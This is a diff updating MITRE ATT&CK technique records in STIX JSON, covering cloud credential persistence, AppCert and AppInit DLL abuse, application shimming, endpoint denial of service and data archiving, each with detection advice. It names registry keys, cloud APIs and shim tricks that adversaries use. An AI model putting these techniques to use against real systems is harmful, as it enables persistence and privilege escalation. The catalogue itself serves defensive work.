Azure. Retrieved November 21, 2019." }, - { - "source_name": "Why AAD Service Principals", - "url": "https://github.com/microsoft/AzureSuperpowers/blob/master/docs/AzureSuperpowers.md#why-aad-service-principals", - "description": "Microsoft. (2019, September 23). Azure Superpowers Lab Manual. Retrieved January 19, 2020." - }, { "source_name": "Demystifying Azure AD Service Principals", "url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/", @@ -946,7 +967,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Additional Cloud Credentials", - "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nAdversaries may add credentials for Azure Service Principals in addition to existing legitimate credentials(Citation: Create Azure Service Principal) to victim Azure accounts.(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) Azure Service Principals support both password and certificate credentials.(Citation: Why AAD Service Principals) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules.(Citation: Demystifying Azure AD Service Principals)\n\nAfter gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)", + "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nAdversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)", "id": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "type": "attack-pattern", "kill_chain_phases": [ @@ -955,31 +976,27 @@ "phase_name": "persistence" } ], - "modified": "2020-10-05T16:43:27.024Z", + "modified": "2021-03-08T10:33:01.582Z", "created": "2020-01-19T16:10:15.008Z", "x_mitre_contributors": [ "Expel", "Oleg Kolesnikov, Securonix", "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)" ], - "x_mitre_version": "2.0", + "x_mitre_version": "2.2", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "User" ], - "x_mitre_detection": "Monitor Azure Activity Logs for service principal modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.", + "x_mitre_detection": "Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.", "x_mitre_data_sources": [ - "Stackdriver logs", - "GCP audit logs", - "AWS CloudTrail logs", - "Azure activity logs" + "User Account: User Account Modification", + "Active Directory: Active Directory Object Modification" ], "x_mitre_platforms": [ - "Azure AD", - "Azure", - "AWS", - "GCP" + "IaaS", + "Azure AD" ] }, { @@ -994,7 +1011,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" }, { "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", @@ -1009,7 +1026,7 @@ ], "revoked": true, "type": "attack-pattern", - "modified": "2020-01-24T14:48:05.567Z", + "modified": "2020-11-10T18:29:30.350Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -1022,7 +1039,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" }, { "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", @@ -1040,7 +1057,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "AppCert DLLs", - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Endgame Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ", + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ", "id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c", "type": "attack-pattern", "kill_chain_phases": [ @@ -1053,7 +1070,7 @@ "phase_name": "persistence" } ], - "modified": "2020-03-24T20:22:45.298Z", + "modified": "2020-11-10T18:29:31.052Z", "created": "2020-01-24T14:47:41.795Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -1065,12 +1082,12 @@ "Administrator", "SYSTEM" ], - "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", + "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", "x_mitre_data_sources": [ - "Windows Registry", - "Process command-line parameters", - "Process monitoring", - "Loaded DLLs" + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Module: Module Load" ], "x_mitre_platforms": [ "Windows" @@ -1088,7 +1105,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" }, { "url": "https://support.microsoft.com/en-us/kb/197571", @@ -1108,7 +1125,7 @@ ], "revoked": true, "type": "attack-pattern", - "modified": "2020-01-24T14:52:55.240Z", + "modified": "2020-11-10T18:29:30.379Z", "created": "2017-05-31T21:31:15.409Z" }, { @@ -1121,7 +1138,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" }, { "url": "https://support.microsoft.com/en-us/kb/197571", @@ -1144,7 +1161,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "AppInit DLLs", - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", "id": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", "type": "attack-pattern", "kill_chain_phases": [ @@ -1157,7 +1174,7 @@ "phase_name": "persistence" } ], - "modified": "2020-03-24T20:34:09.996Z", + "modified": "2020-11-10T18:29:31.076Z", "created": "2020-01-24T14:52:25.589Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -1171,12 +1188,12 @@ "x_mitre_permissions_required": [ "Administrator" ], - "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", + "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", "x_mitre_data_sources": [ - "Windows Registry", - "Process command-line parameters", - "Process monitoring", - "Loaded DLLs" + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Module: Module Load" ], "x_mitre_platforms": [ "Windows" @@ -1256,9 +1273,9 @@ ], "x_mitre_detection": "Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "Process command-line parameters" + "Command: Command Execution", + "Process: Process Creation", + "Process: OS API Execution" ], "x_mitre_platforms": [ "macOS" @@ -1350,17 +1367,17 @@ "phase_name": "lateral-movement" } ], - "modified": "2020-09-16T19:40:02.024Z", + "modified": "2021-04-14T18:09:45.539Z", "created": "2020-01-30T17:37:22.261Z", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_is_subtechnique": true, "x_mitre_defense_bypassed": [ "System Access Controls" ], "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs.", "x_mitre_data_sources": [ - "Office 365 audit logs", - "OAuth audit logs" + "Web Credential: Web Credential Usage", + "Application Log: Application Log Content" ], "x_mitre_contributors": [ "Shailesh Tiwary (Indian Army)", @@ -1370,7 +1387,8 @@ ], "x_mitre_platforms": [ "Office 365", - "SaaS" + "SaaS", + "Google Workspace" ] }, { @@ -1425,38 +1443,45 @@ "phase_name": "impact" } ], - "modified": "2020-03-29T02:01:10.832Z", + "modified": "2021-03-29T16:08:52.118Z", "created": "2020-02-20T15:35:00.025Z", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_impact_type": [ "Availability" ], "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.", "x_mitre_data_sources": [ - "Network device logs", - "Network device logs", - "Network intrusion detection system", - "Web application firewall logs", - "Web logs", - "SSL/TLS inspection" + "Sensor Health: Host Status", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure", - "Office 365", - "Azure AD", - "SaaS" + "Google Workspace" ] }, { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2017-05-31T21:30:56.776Z", + "modified": "2020-10-21T16:35:45.986Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } ], + "type": "attack-pattern", + "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Application Layer Protocol", + "description": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ", "external_references": [ { "source_name": "mitre-attack", @@ -1469,36 +1494,22 @@ "source_name": "University of Birmingham C2" } ], - "description": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ", - "name": "Application Layer Protocol", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-10-21T16:35:45.986Z", - "created": "2017-05-31T21:30:56.776Z", - "x_mitre_version": "2.0", - "x_mitre_data_sources": [ - "DNS records", - "Network protocol analysis", - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" - ], - "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)", - "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], - "x_mitre_is_subtechnique": false + "x_mitre_network_requirements": true, + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "2.0" }, { "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", @@ -1512,7 +1523,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" }, { "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf", @@ -1522,7 +1533,7 @@ ], "revoked": true, "type": "attack-pattern", - "modified": "2020-01-24T15:00:47.185Z", + "modified": "2020-11-10T18:29:30.362Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -1535,7 +1546,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" }, { "source_name": "FireEye Application Shimming", @@ -1553,7 +1564,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Application Shimming", - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.", + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.", "id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", "type": "attack-pattern", "kill_chain_phases": [ @@ -1566,7 +1577,7 @@ "phase_name": "persistence" } ], - "modified": "2020-05-04T19:05:30.140Z", + "modified": "2020-11-10T18:29:31.094Z", "created": "2020-01-24T14:56:24.231Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -1575,9 +1586,11 @@ ], "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "Windows Registry" + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Module: Module Load", + "File: File Modification" ], "x_mitre_platforms": [ "Windows" @@ -1616,9 +1629,9 @@ "Windows" ], "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_version": "1.1" @@ -1650,31 +1663,29 @@ "phase_name": "impact" } ], - "modified": "2020-03-29T02:07:27.508Z", + "modified": "2021-03-29T16:09:41.559Z", "created": "2020-02-20T15:37:27.052Z", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_impact_type": [ "Availability" ], "x_mitre_detection": "Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.", "x_mitre_data_sources": [ - "Network device logs", - "Network intrusion detection system", - "Web application firewall logs", - "Web logs", - "SSL/TLS inspection" + "Sensor Health: Host Status", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure", - "Office 365", - "Azure AD", - "SaaS" + "Google Workspace" ] }, { @@ -1712,10 +1723,10 @@ "Windows" ], "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "File monitoring", - "Binary file metadata" + "Process: Process Creation", + "Command: Command Execution", + "File: File Creation", + "Script: Script Execution" ], "x_mitre_detection": "Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)", "x_mitre_is_subtechnique": false, @@ -1757,7 +1768,11 @@ ], "x_mitre_detection": "Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.", "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" + "x_mitre_version": "1.0", + "x_mitre_data_sources": [ + "File: File Creation", + "Script: Script Execution" + ] }, { "external_references": [ @@ -1807,8 +1822,8 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)", "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" + "File: File Creation", + "Script: Script Execution" ], "x_mitre_platforms": [ "Linux", @@ -1866,27 +1881,17 @@ "Windows" ], "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "File monitoring", - "Binary file metadata" + "Process: Process Creation", + "Command: Command Execution", + "File: File Creation" ], "x_mitre_detection": "Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0" }, { - "created": "2020-03-16T15:48:33.882Z", - "modified": "2020-03-30T00:37:16.593Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } - ], - "type": "attack-pattern", "id": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", - "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the 